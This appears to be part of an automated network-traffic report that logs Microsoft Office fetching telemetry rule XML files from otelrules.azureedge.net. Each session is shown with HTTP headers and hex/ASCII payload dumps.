2024-10-16 15:56:29 UTC	16384	IN	Data Raw: 6e 74 73 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 36 34 22 20 49 3d 22 38 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 45 76 65 6e 74 73 5f 41 76 67 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 41 76 65 72 61 67 65 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 39 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 41 67 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 34 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 30 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a Data Ascii: nts" /> </C> <C T="U64" I="8" O="false" N="Events_Avg"> <S T="2" F="Average" /> </C> <C T="U32" I="9" O="true" N="Purged_Age"> <S T="4" F="Count" /> </C> <C T="U32" I="10" O="true" N="Purged_Count"> <S T="5" F="Count" />
2024-10-16 15:56:29 UTC	16384	IN	Data Raw: 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 50 65 72 73 6f 6e 61 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 4d 61 6e 61 67 65 72 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 Data Ascii: </S> <C T="U32" I="0" O="false" N="Count_CreateCard_ValidPersona_False"> <C> <S T="10" /> </C> </C> <C T="U32" I="1" O="false" N="Count_CreateCard_ValidManager_False"> <C> <S T="11" /> </C> </C> <C T="U32"
2024-10-16 15:56:29 UTC	16384	IN	Data Raw: 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 39 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 57 61 73 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 Data Ascii: _Count"> <C> <S T="31" /> </C> </C> <C T="U32" I="19" O="false" N="Paint_IMsoPersona_WasNull_Count"> <C> <S T="32" /> </C> </C> <C T="U32" I="20" O="false" N="Paint_IMsoPersona_Null_Count"> <C> <S
2024-10-16 15:56:29 UTC	16384	IN	Data Raw: 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 6f 6e 64 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 32 30 30 22 20 54 3d 22 49 36 34 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 Data Ascii: <L> <S T="3" F="RetrievalMilliseconds" /> </L> <R> <V V="200" T="I64" /> </R> </O> </L> <R> <O T="LT"> <L> <S T="3"
2024-10-16 15:56:30 UTC	16384	IN	Data Raw: 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 53 75 63 63 65 73 73 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 Data Ascii: </L> <R> <V V="0" T="I32" /> </R> </O> </F> </S> <C T="U32" I="0" O="false" N="Ocom2IUCOfficeIntegrationFirstCallSuccessCount"> <C> <S T="9" /> </C> </C> <C T="U32" I="1" O="false
2024-10-16 15:56:30 UTC	16384	IN	Data Raw: 20 54 3d 22 42 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 36 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 54 65 6e 61 6e 74 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 55 73 65 72 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 Data Ascii: T="B" /> </R> </O> </F> <F T="6"> <O T="AND"> <L> <S T="3" F="Tenant enabled" /> </L> <R> <O T="EQ"> <L> <S T="3" F="User enabled" />
2024-10-16 15:56:30 UTC	16384	IN	Data Raw: 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 36 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 34 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 37 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 Data Ascii: O> </F> <F T="6"> <O T="EQ"> <L> <S T="2" F="HttpStatus" /> </L> <R> <V V="404" T="U32" /> </R> </O> </F> <F T="7"> <O T="AND"> <L> <O T

Session ID	Source IP	Source Port	Destination IP	Destination Port
9	192.168.2.5	49731	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-16 15:56:31 UTC	192	OUT	GET /rules/rule120608v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-16 15:56:31 UTC	584	IN	HTTP/1.1 200 OK Date: Wed, 16 Oct 2024 15:56:31 GMT Content-Type: text/xml Content-Length: 2160 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA3B95D81" x-ms-request-id: c8d8f407-d01e-005a-22d8-1e7fd9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241016T155631Z-16b659b44992vd4bkk50pmnxt00000000ad000000000a26v x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-16 15:56:31 UTC	2160	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 37 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 33 22 20 52 3d 22 31 32 30 36 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 36 31 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 35 22 20 52 3d 22 31 32 30 36 31 34 22 20 2f 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120608" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120609" /> <R T="2" R="120679" /> <R T="3" R="120610" /> <R T="4" R="120612" /> <R T="5" R="120614" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.5	49729	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-16 15:56:31 UTC	192	OUT	GET /rules/rule224902v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-16 15:56:31 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 16 Oct 2024 15:56:31 GMT Content-Type: text/xml Content-Length: 450 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:25 GMT ETag: "0x8DC582BD4C869AE" x-ms-request-id: 6a9ccdf4-401e-00ac-4e86-1f0a97000000 x-ms-version: 2018-03-28 x-azure-ref: 20241016T155631Z-15b8d89586fcvr6pym2snavm4w000000029000000000m5c4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-16 15:56:31 UTC	450	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 32 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 32 22 20 49 64 3d 22 62 62 72 35 71 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 61 33 36 61 39 37 30 64 2d 34 35 61 39 2d 34 65 30 64 2d 39 63 61 62 2d 32 61 32 33 35 63 63 39 64 37 63 36 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 47 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 4e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224902" V="2" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120100" /> <UTS T="2" Id="bbr5q" /> <SS T="3" G="{a36a970d-45a9-4e0d-9cab-2a235cc9d7c6}" /> </S> <C T="G" I="0" O="falseN

Session ID	Source IP	Source Port	Destination IP	Destination Port
11	192.168.2.5	49730	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-16 15:56:31 UTC	192	OUT	GET /rules/rule120600v4s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-16 15:56:31 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 16 Oct 2024 15:56:31 GMT Content-Type: text/xml Content-Length: 2980 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: fe1af26d-601e-00ab-11d8-1e66f4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241016T155631Z-15b8d89586fst84k5f3z220tec000000027000000000gehq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-16 15:56:31 UTC	2980	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 30 22 20 56 3d 22 34 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 44 65 76 69 63 65 43 6f 6e 73 6f 6c 69 64 61 74 65 64 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120600" V="4" DC="SM" EN="Office.System.SystemHealthMetadataDeviceConsolidated" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC"

Session ID	Source IP	Source Port	Destination IP	Destination Port
12	192.168.2.5	49728	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-16 15:56:31 UTC	193	OUT	GET /rules/rule120402v21s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-16 15:56:31 UTC	584	IN	HTTP/1.1 200 OK Date: Wed, 16 Oct 2024 15:56:31 GMT Content-Type: text/xml Content-Length: 3788 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC2126A6" x-ms-request-id: 2bfbe8ba-001e-00ad-34d8-1e554b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241016T155631Z-16b659b4499w2mwkzdhtwtt78c000000094g000000008h52 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-16 15:56:31 UTC	3788	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 34 30 32 22 20 56 3d 22 32 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 55 6e 67 72 61 63 65 66 75 6c 41 70 70 45 78 69 74 44 65 73 6b 74 6f 70 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 22 20 78 6d 6c 6e 73 3d 22 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120402" V="21" DC="SM" EN="Office.System.SystemHealthUngracefulAppExitDesktop" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalCensus" DL="A" DCa="PSP" xmlns=""

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.2.5	49732	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-16 15:56:31 UTC	192	OUT	GET /rules/rule120609v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-16 15:56:31 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 16 Oct 2024 15:56:31 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB56D3AFB" x-ms-request-id: 1958fb0e-301e-0020-0cd8-1e6299000000 x-ms-version: 2018-03-28 x-azure-ref: 20241016T155631Z-16b659b44999mb85a5wquzbrz8000000069g00000000exft x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-16 15:56:31 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 44 64 5d 5b 45 65 5d 5b 4c 6c 5d 5b 4c 6c 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120609" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120682" /> <SR T="2" R="^([Dd][Ee][Ll][Ll])"> <S T="1" F="0" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.2.5	49733	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-16 15:56:32 UTC	192	OUT	GET /rules/rule120610v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-16 15:56:32 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 16 Oct 2024 15:56:32 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:46 GMT ETag: "0x8DC582B9964B277" x-ms-request-id: ad3de8e9-901e-0064-05d8-1ee8a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241016T155632Z-16b659b4499j6g8p9q09hdsh1000000007xg000000008v7n x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-16 15:56:32 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120610" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.5	49735	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-16 15:56:32 UTC	192	OUT	GET /rules/rule120612v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-16 15:56:32 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 16 Oct 2024 15:56:32 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:25 GMT ETag: "0x8DC582BB10C598B" x-ms-request-id: 3d3525b4-b01e-0001-72d8-1e46e2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241016T155632Z-16b659b44994sjcfes83c39y40000000064000000000q0px x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-16 15:56:32 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120612" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.5	49736	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-16 15:56:32 UTC	192	OUT	GET /rules/rule120613v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-16 15:56:32 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 16 Oct 2024 15:56:32 GMT Content-Type: text/xml Content-Length: 632 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6E3779E" x-ms-request-id: 68e1d423-f01e-005d-5bd8-1e13ba000000 x-ms-version: 2018-03-28 x-azure-ref: 20241016T155632Z-15b8d89586fsx9lfqmgrbzpgmg000000027g00000000r79c x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
